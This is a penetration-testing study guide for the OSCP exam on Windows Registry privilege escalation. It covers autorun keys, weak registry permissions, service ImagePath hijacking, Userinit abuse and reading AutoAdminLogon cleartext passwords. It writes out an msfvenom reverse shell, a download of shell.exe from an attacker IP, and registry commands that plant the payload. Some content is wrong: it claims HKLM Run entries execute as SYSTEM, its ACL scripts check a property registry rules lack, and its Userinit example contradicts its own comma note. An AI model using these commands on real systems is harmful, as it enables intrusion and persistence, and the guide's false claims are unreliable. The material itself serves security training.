Domain 4PrivEsc & Password AttacksCORE

Registry-Based Escalation

Guide to exploiting Windows Registry misconfigurations including autorun keys, weak registry permissions, and service configuration manipulation for privilege escalation.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#registry#autorun#permissions#hkcu#hklm

Registry-Based Escalation

Overview

The Windows Registry is a hierarchical database that stores configuration settings for the operating system and installed applications. It is one of the most overlooked privilege escalation vectors — yet misconfigured Registry permissions and autorun keys are surprisingly common on OSCP lab machines.

This topic covers autorun key exploitation, Registry permission abuse, service configuration manipulation via Registry, and additional attack vectors like Userinit Mischief and AutoAdminLogon.


6.1 Autorun Keys

What Are Autorun Keys?

Autorun keys are Registry values that instruct Windows to automatically execute specified programs at various trigger points: user logon, system boot, service startup, etc. If a low-privilege user has write access to an autorun key that executes with elevated privileges, they can achieve privilege escalation by adding their own payload.

Complete Autorun Key Reference

User-Level Autorun Keys (Execute as the Logging-In User)

Registry Path Trigger Execution Context Notes
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run User logon Current user Most common user autorun
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce User logon (deleted after execution) Current user One-time execution
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx User logon (deleted after) Current user Supports grouped entries
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run User logon Current user Policy-controlled
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices User logon (services) Current user Runs services at logon
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce User logon (services, once) Current user One-time service run

Machine-Level Autorun Keys (Execute as SYSTEM or All Users)

Registry Path Trigger Execution Context Notes
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Any user logon SYSTEM (read by Winlogon) HIGH VALUE TARGET
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Any user logon (deleted after) SYSTEM HIGH VALUE TARGET
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx Any user logon (deleted after) SYSTEM HIGH VALUE TARGET
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices Service startup SYSTEM Runs before user logon
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce Service startup (once) SYSTEM One-time, runs early
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run Any user logon SYSTEM Policy-controlled, all users
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Any user logon (32-bit) SYSTEM 32-bit apps on 64-bit OS

Startup Folder Equivalents

Path Type Registry Equivalent Trigger
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup HKCU\...\Run Current user logon
%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup HKLM\...\Run All users logon

Service Autorun Keys

Registry Path Trigger Execution Context
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>\ImagePath Service start Service account (often SYSTEM)
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>\ObjectName Defines service account N/A (configuration)

Detailed Enumeration Commands

# === Method 1: reg query (Command Prompt) ===

# Check all HKLM Run keys
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"

# Check all HKCU Run keys
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"

# Check WOW6432Node (32-bit on 64-bit systems)
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"

# Realistic output:
# HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
#     StartupApp    REG_SZ    C:\Program Files\Startup\app.exe
#     SecurityUpdate    REG_SZ    C:\Program Files\Sec\update.exe
#     OneDrive    REG_SZ    C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
# === Method 2: PowerShell ===

# Enumerate all Run keys at once
$runKeys = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"
)

foreach ($key in $runKeys) {
    try {
        $values = Get-ItemProperty -Path $key -ErrorAction Stop
        $psobj = New-Object PSObject
        Add-Member -InputObject $psobj -NotePropertyName "RegistryKey" -NotePropertyValue $key
        Add-Member -InputObject $psobj -NotePropertyName "Values" -NotePropertyValue $values
        Write-Output $psobj
    } catch {
        Write-Host "[-] Cannot access: $key"
    }
}
# === Method 3: Win32_StartupCommand WMI Class ===

Get-CimInstance -ClassName Win32_StartupCommand |
    Select-Object Name, Command, User, Location, Status |
    Format-Table -AutoSize

# Realistic output:
# Name                  Command                                  User         Location
# ----                  -------                                  ----         --------
# OneDrive              C:\Users\Admin\AppData\Local\Microsof... Admin        HKCU Run
# StartupApp            C:\Program Files\Startup\app.exe         Admin        HKLM Run
# SecurityUpdate        C:\Program Files\Sec\update.exe          Admin        HKLM Run
# === Method 4: Check Startup Folders ===

# Current user startup folder
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -ErrorAction SilentlyContinue

# All users startup folder
Get-ChildItem "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" -ErrorAction SilentlyContinue

Checking Write Permissions on Autorun Keys

# Check if you can write to HKLM Run key
$acl = Get-Acl "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$acl.Access | Where-Object {
    $_.IdentityReference -like "*Users*" -or
    $_.IdentityReference -like "*Everyone*" -or
    $_.IdentityReference -like "*BUILTIN*"
} | Select-Object IdentityReference, FileSystemRights, AccessControlType |
    Format-Table -AutoSize

# Realistic output:
# IdentityReference    FileSystemRights    AccessControlType
# ---------------    ----------------    -----------------
# NT AUTHORITY\Users  FullControl         Allow
# BUILTIN\Users       SetValue            Allow

Exploitation Walkthrough

# Step 1: Identify a writable HKLM autorun key
# (Assume HKLM\...\Run is writable by Users group)

# Step 2: Create your payload
# On Kali:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f exe -o shell.exe

# Upload to target:
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/shell.exe', 'C:\temp\shell.exe')"

# Step 3: Add reverse shell to autorun
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\temp\shell.exe" /f

# Output:
# The operation completed successfully.

# Step 4: Verify it was added
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate"

# Output:
# HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
#     WindowsUpdate    REG_SZ    C:\temp\shell.exe

# Step 5: Wait for next user logon or reboot
# The payload will execute when any user logs in, triggered by Winlogon as SYSTEM

Which Autorun Keys Execute as SYSTEM?

Key Executes as SYSTEM? Why
HKLM\...\Run Yes Read by Winlogon (runs as SYSTEM) during user logon
HKLM\...\RunOnce Yes Same as above, deleted after execution
HKLM\...\RunServices Yes Read during service initialization (before user logon)
HKLM\...\RunServicesOnce Yes Same as above, one-time
HKLM\...\Policies\Explorer\Run Yes Read by Explorer under SYSTEM context during logon
HKCU\...\Run No Read under the user’s own context
HKCU\...\RunServices No User context only

Key Insight for OSCP: If you can write to ANY HKLM autorun key, you can escalate to SYSTEM. The HKLM keys are read by system processes (Winlogon, Services) that run as SYSTEM.


6.2 Registry Permissions

Understanding Registry ACLs

Every Registry key and value has an Access Control List (ACL) that defines who can:

  • Query Value — Read the data stored in the key
  • Set Value — Create or modify values under the key
  • Create Subkey — Add new subkeys
  • Delete — Delete the key
  • Enumerate Subkeys — List child keys
  • Notify — Receive change notifications
  • Create Link — Create hard links
  • Full Control — All of the above

Weak permissions (e.g., Users or Everyone having SetValue or FullControl) on sensitive keys are privilege escalation vectors.

Enumeration with AccessChk

# Download AccessChk from Sysinternals:
# https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk

# Check all writable Registry keys for current user
accesschk.exe -kvw "Users" HKLM /accepteula

# Check specific subtree
accesschk.exe -kvw "Users" HKLM\SYSTEM\CurrentControlSet\Services /accepteula

# Check for Everyone access
accesschk.exe -kvw "Everyone" HKLM /accepteula

# Realistic output:
# HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService
#   CREATE_SUBKEY       Allow   NT AUTHORITY\Users
#   SET_VALUE           Allow   NT AUTHORITY\Users
#   ENUMERATE_SUB_KEYS  Allow   NT AUTHORITY\Users
#   NOTIFY              Allow   NT AUTHORITY\Users
#   READ_CONTROL        Allow   NT AUTHORITY\Users

PowerShell Registry ACL Enumeration Script

# Complete script to find all writable Registry keys under HKLM\Services
# Line-by-line explanation below

# Define the base path to enumerate
$basePath = "HKLM:\SYSTEM\CurrentControlSet\Services"

# Define groups/principals to check for (common weak permission targets)
$targetGroups = @("*Users*", "*Everyone*", "*BUILTIN*", "*Authenticated Users*")

# Define dangerous permissions
$dangerousRights = @("FullControl", "Modify", "Write", "SetValue", "Create")

# Recursively enumerate all service keys
Get-ChildItem $basePath -Recurse -ErrorAction SilentlyContinue |
    ForEach-Object {
        # Get the ACL for this key
        $acl = Get-Acl $_.PSPath -ErrorAction SilentlyContinue

        # Skip if we can't read the ACL
        if (-not $acl) { return }

        # Check each ACE (Access Control Entry) in the ACL
        foreach ($ace in $acl.Access) {
            # Check if the identity matches our target groups
            $identityMatch = $targetGroups | Where-Object {
                $ace.IdentityReference.ToString() -like $_
            }

            if ($identityMatch) {
                # Check if the permissions are dangerous
                $rightsMatch = $dangerousRights | Where-Object {
                    $ace.FileSystemRights.ToString() -like "*$_*"
                }

                if ($rightsMatch) {
                    # Output the finding
                    Write-Host "[+] Writable Registry Key Found!" -ForegroundColor Yellow
                    Write-Host "    Path: $($_.PSPath)" -ForegroundColor Cyan
                    Write-Host "    Principal: $($ace.IdentityReference)" -ForegroundColor Cyan
                    Write-Host "    Rights: $($ace.FileSystemRights)" -ForegroundColor Cyan
                    Write-Host "    Type: $($ace.AccessControlType)" -ForegroundColor Cyan
                    Write-Host ""
                }
            }
        }
    }

Script Explanation (Line by Line)

Lines What It Does
$basePath = ... Sets the Registry path to scan. Services are the highest-value target because modifying them can give SYSTEM access
$targetGroups = ... Defines which user/group patterns indicate weak permissions. Users, Everyone, BUILTIN groups are common misconfigurations
$dangerousRights = ... Defines which permission types are exploitable. SetValue lets you modify values; FullControl lets you do anything
Get-ChildItem -Recurse Recursively lists all subkeys under the base path. -ErrorAction SilentlyContinue suppresses access denied errors
Get-Acl $_.PSPath Retrieves the ACL (security descriptor) for each key. The Microsoft.PowerShell.Core\Registry:: prefix is handled automatically by PowerShell’s Registry provider
foreach ($ace in $acl.Access) Iterates through each Access Control Entry (ACE) in the key’s DACL
$identityMatch Checks if the ACE’s identity (user/group) matches any of our target weak groups
$rightsMatch Checks if the ACE grants any dangerous permissions
Write-Host "[+]..." Outputs findings in a readable format for the attacker

Service Configuration Manipulation via Registry

Service configurations are stored under HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>. Key values:

Value Name Type Description Exploitation Value
ImagePath REG_EXPAND_SZ or REG_SZ Full path to the service executable Replace with payload path
ObjectName REG_SZ Account the service runs as (e.g., LocalSystem, .\Administrator) Change to controlled account
Start REG_DWORD Start type (2=Auto, 3=Manual, 4=Disabled) Enable a disabled service
Type REG_DWORD Service type (10=Win32 Own, 20=Win32 Share, 2=Kernel) Rarely exploitable
ErrorControl REG_DWORD What happens on failure (0=Ignore, 1=Normal, 2=Severe, 3=Critical) N/A
Description REG_SZ Service description N/A (social engineering)
DisplayName REG_SZ Display name in services.msc N/A
DependOnService REG_MULTI_SZ Services this depends on Could break dependencies
Parameters\AppDirectory REG_SZ Working directory Could affect DLL search order

Modifying Service ImagePath via Registry

# Step 1: Check current service configuration
reg query "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath

# Output:
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService
#     ImagePath    REG_EXPAND_SZ    C:\Program Files\SomeApp\service.exe

# Step 2: Check if you can write to this key
accesschk.exe -kvw "Users" "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService" /accepteula

# Step 3: If writable, change the ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\shell.exe" /f

# Output:
# The operation completed successfully.

# Step 4: Verify the change
reg query "HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath

# Output:
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService
#     ImagePath    REG_EXPAND_SZ    C:\temp\shell.exe

# Step 5: Restart the service to trigger execution
sc start VulnerableService
# or
net stop VulnerableService
net start VulnerableService

Modifying via PowerShell

# Read current value
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService" -Name "ImagePath"

# Modify ImagePath
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService" -Name "ImagePath" -Value "C:\temp\shell.exe"

# Modify ObjectName (change service account)
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService" -Name "ObjectName" -Value "NT AUTHORITY\SYSTEM"

# Modify Start type (enable auto-start)
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService" -Name "Start" -Value 2

Registry Permission Attack Flow

sequenceDiagram
    participant A as Attacker (Low Priv)
    participant R as Registry
    participant S as Service
    participant T as SYSTEM Token

    A->>R: Enumerate writable keys (AccessChk/PowerShell)
    R-->>A: HKLM\SYSTEM\CCS\Services\VulnSvc is writable
    A->>R: Modify ImagePath to payload
    R-->>A: Value updated successfully
    A->>S: Restart service (sc start)
    S->>R: Read ImagePath from Registry
    R-->>S: Returns C:\temp\shell.exe
    S->>T: Execute payload as SYSTEM
    T-->>A: Reverse shell as SYSTEM

Additional Registry Attack Vectors

Userinit Mischief

The Userinit Registry value specifies which program to run during user logon. By default, it runs userinit.exe. If writable, you can append your own payload.

# Check current Userinit value
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

# Default output:
# Userinit    REG_SZ    C:\Windows\system32\userinit.exe

# If writable, append your payload (note the trailing comma before your path)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\temp\shell.exe" /f

# Next logon executes both userinit.exe AND your shell.exe as SYSTEM

Note: The value must be a comma-separated list. The original userinit.exe path must remain, with your payload appended after a comma. A trailing comma is also required.

AutoAdminLogon

If AutoAdminLogon is enabled, Windows automatically logs in with stored credentials. The credentials are stored in cleartext in the Registry:

# Check if AutoAdminLogon is enabled
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon

# If enabled (value = 1), check stored credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

# Output:
# DefaultUsername    REG_SZ    Administrator
# DefaultPassword    REG_SZ    P@ssw0rd123

OSCP Goldmine: If you find AutoAdminLogon=1 with DefaultPassword set, you have cleartext admin credentials. Use runas or psexec to escalate.

LSA Protection Bypass

LSA (Local Security Authority) protection prevents processes like Mimikatz from accessing LSA memory. Check if it’s enabled:

# Check RunAsPPL (Credential Guard / LSA Protection)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

# If value is missing or = 0, LSA protection is disabled
# If value = 1 or 2, LSA protection is enabled (Mimikatz may not work)

DPAPI Credentials in Registry

Windows DPAPI (Data Protection API) master keys are stored in the Registry and can sometimes be extracted:

# DPAPI master keys location
dir "C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>"

# The Windows Vault also stores credentials
cmdkey /list

“Registry Keys to Always Check” Checklist

[ ] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run          (autorun, SYSTEM)
[ ] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce       (autorun, SYSTEM)
[ ] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices   (autorun, SYSTEM)
[ ] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce (autorun, SYSTEM)
[ ] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run (autorun, SYSTEM)
[ ] HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run (32-bit autorun)
[ ] HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit (userinit mischief)
[ ] HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon (cleartext creds)
[ ] HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword (cleartext creds)
[ ] HKLM\SYSTEM\CurrentControlSet\Services\* (service ImagePath, ObjectName)
[ ] HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL (LSA protection status)
[ ] HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
[ ] HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
[ ] Check ACLs on all above keys (AccessChk or PowerShell Get-Acl)

OSCP Exam Tips

Quick Registry Enumeration One-Liner

# Run this early in your enumeration — it covers the most common vectors
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" & `
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" & `
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit & `
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon & `
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated & `
reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated

Priority Order for Registry Attacks

  1. AutoAdminLogon + DefaultPassword — Instant cleartext credentials. Highest ROI.
  2. Writable HKLM autorun keys — Next reboot/logon = SYSTEM shell.
  3. Writable service ImagePath — Restart service = SYSTEM shell.
  4. Userinit modification — Next logon = SYSTEM shell.
  5. AlwaysInstallElevated — MSI payload = SYSTEM shell immediately.

Common Pitfalls

  • Registry hives vs paths — HKLM in reg query = HKLM:\ in PowerShell. Know both syntaxes.
  • WOW6432Node — On 64-bit systems, 32-bit applications see a redirected Registry view. Always check both the normal path and WOW6432Node.
  • Hive files on disk — Registry hives are stored as files (C:\Windows\System32\config\SOFTWARE, etc.). If you have read access to these files but not the live Registry, you can still extract information.
  • Don’t forget to restore — After the exam, if you modified Registry values, restore them. Not required for scoring but good practice.

Tools to Have Ready

Tool Purpose
accesschk.exe Check Registry key permissions
reg query Quick Registry enumeration
reg add Modify Registry values
PowerShell Get-Acl Programmatic ACL checking
Get-ItemProperty Read Registry values via PowerShell
Set-ItemProperty Modify Registry values via PowerShell